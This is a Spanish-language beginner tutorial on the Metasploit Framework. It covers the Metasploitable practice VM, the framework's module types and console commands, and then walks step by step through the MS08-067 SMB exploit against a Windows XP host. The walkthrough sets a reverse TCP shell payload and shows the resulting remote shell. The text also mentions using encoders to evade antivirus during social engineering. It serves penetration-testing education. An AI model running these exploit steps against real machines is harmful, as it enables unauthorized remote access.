De acuerdo con el sitio web del proyecto, Metasploit es “…tanto un sistema de pruebas de intrusión como una plataforma de desarrollo para la creación de herramientas de seguridad y exploits.” El framework incluye una serie de módulos. Cada módulo implementa un ataque específico. A medida que van apareciendo nuevos ataques, se van añadiendo los correspondientes módullos al framework, manteniéndose de este modo el sistema actualizado con los últimos exploits y técnicas de ataque
El proyecto Metasploit mantiene una imagen de servidor virtual VMware conocida como Metasploitable. La imagen Metasploitable, basada en Ubuntu, contiene más agujeros de seguridad que un queso suizo y supone el candidato perfecto para aquellos administradores que quieran practicar un poco con Metasploit como herramienta de pruebas de intrusión.
El servidor Metasploitable imple menta deliberadamente servicios con configuraciones inseguras y vulnerabilidades que lo convierten en el candidato ideal para las pruebass.
Bajamos el framework desde segun la plataforma que corresponda
Primero que nada conozcamos como esta dividido MSF (Metasploit Framework):
* Exploits: aquí encontramos todos los exploits disponibles en MSF y que podemos utilizar. Estan dividos por SO's y categoriras. Ejemplo: exploits/windows/browser/ y aquí econtrariamos los exploits disponibles para los navegadores que corren en el SO windows.
Payloads: esta es una de las cosas mas importantes, es la accion que se va a realizar si se logra explotar la vulnerabilidad que selecccionamos . Ejemplo: windows/shell/reverse_tcp y con esto obtendriamos una shell inversa.
Auxiliary: son scripts con diferentes funciones. Ejemplo: auxiliary/scanner/portscan/tcp y utilizando este scanner de puertos tcp, obtendriamos el estado de puertos y el servicio que esta corriendo bajo estos mismo. Muy util si no te gusta Nmap xD
Enconders: son algoritmos de codificación para cuando hagamos ingeniería social y tengamos que evadir algunos antivirus. Muy importante conocerlo.
Con eso bastaria conocer por el momento/
Ahora veamos los comandos que necesitaremos utilizar para poder desplazarnos por MSF:
help: Nos muestra los comandos disponibles actualmente.
show: Nos muestra todo el contenido de cada categoria: exploits, payloads, auxiliary encoders, NOP Generators. Aunque tambien podemos especificar una categoria. Ejemplo: show exploits.
search: Busca cualquier objeto mediante una palabra clave. Ejemplo: search ftp
info: Proporciona información sobre un exploit,payload, auxiliary, etc. Es muy importante ya que con este comando tambien podemos conocer la descripcion, referencias y equipos en los que se puede utilizar el objeto al que estamos invocando Ejemplo: info windows/ftp/proftp_banner
use: Con este comando, establemos el objeto con el que vamos a trabajar; sea exploit o auxiliary que son con los que vamos a trabajar nosotros. Ejemplo: use exploits/windows/
show options: Importantisimo . Si no conocemos como funciona algun exploit o auxiliary este comando nos ayudara muchisimo, aunque por lo general no requieren de muchos parametros. Se ejecuta despues que hayamos seleccionado el objeto: exploit, auxiliary o payload(unicamente si ya se ha seleccionado un exploit)
set: Con este comando, establecemos los parametros necesarios de algun exploit o auxiliary. Los parametros dependen del objeto que hayamos seleccionado anteriormente. Por mecionar algun ejemplo:
set RHOST xxx.xxx.xxx.xx x, set RPORT 445, set LHOST xxx.xxx.xxx.xx x, set LPORT 2525. Son solo ejemplos.
set PAYLOAD: Este comando lo pongo aparte porque es importante conocerlo bien. Como mencione anteriormente los payloads es la accion que se realiza cuando un exploit ha explotado una vulnerabilidad correctamente. Lo utilizamos despues de haber seleccionado un exploit únicamente. Comunmente necesitamos establecer los parametros LHOST y LPORT.
back: Con esto volveriamos a comenzar desde 0.
Ademas de esos comandos hay muchos otros que poco a poco los iremos viendo cada vez que sea necesario. Tambien debo aclarar que cuando entramos a la interfaz de consola (msfconsole) de MSF tambien podemos hacer uso de los comandos de nuestro SO Gnu/Linux como si estuviéramos en una consola normal.
Les recomiendo que antes de comenzar con la explotación naveguen un poco en MSF utilizando los comandos basicos que mencione anteriormente y cualquier cosa que vean interesante, para que se vallan familiarizando y asi se haga mas facil la practica.
Una vez configurado y ejecutándose el servidor Metasploitable, se puede usar Nmap para identificar los puertos abiertos
ejemplo
# nmap 192.168.0.1
Interesting ports on 192.168.0.1:
Not shown: 988 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
5432/tcp open postgresql
8009/tcp open ajp13
msfconsole
deberia aparecer una img similar a esta
Bueno vamos a probar el rpc a esta maquina windows
msf > use exploit/windows/smb/ms08_067_netapi
Verificamos las opciones del exploit para ver cuales estan disponibles y cuales son necesarias para luego ingresarlas:
Código:
msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > set RHOST 10.21.37.179
RHOST => 10.21.37.179
msf exploit(ms08_067_netapi) >
Nota: las opciones que tienen “yes” en la columna “Required” significa que son obligatorias. Algunas se llenan automáticamente, otras hay que ingresarlas manualmente. Luego de ingresar el parametro set RHOST deberían de ver de nuevo las opciones para que vean como se llenan las opciones requeridas.
Ahora seleccionamos el PAYLOAD que vemos a utilizar. En esta ocacion comenzaremos con una simple shell, mas adelante utilizaremos otros.
Código:
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 10.21.37.179 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > set LHOST 10.21.17.215
LHOST => 10.21.17.215
Como veran hemos ingresado los parametros requeridos tanto del exploit como del payload. Ahora solo nos falta verificar (show options) que todo este como queremos para luego ejecutar un comando que no he mencionado, pero es el mas esperado.
Código:
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish[*] Selected Target: Windows XP SP2 Spanish (NX)[*] Triggering the vulnerability...[*] Sending stage (240 bytes)[*] Command shell session 1 opened (10.21.17.215:4444 -> 10.21.37.179:1035)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:WINDOWSsystem32>
Y eso es todo samigosssssssss
Fuentes> http://comunidad.dragonjar.org/f184/tutorial-conociendo-metasploit-framework-en-construccion-rcart-8627/ y revista 69 de linux magazine.

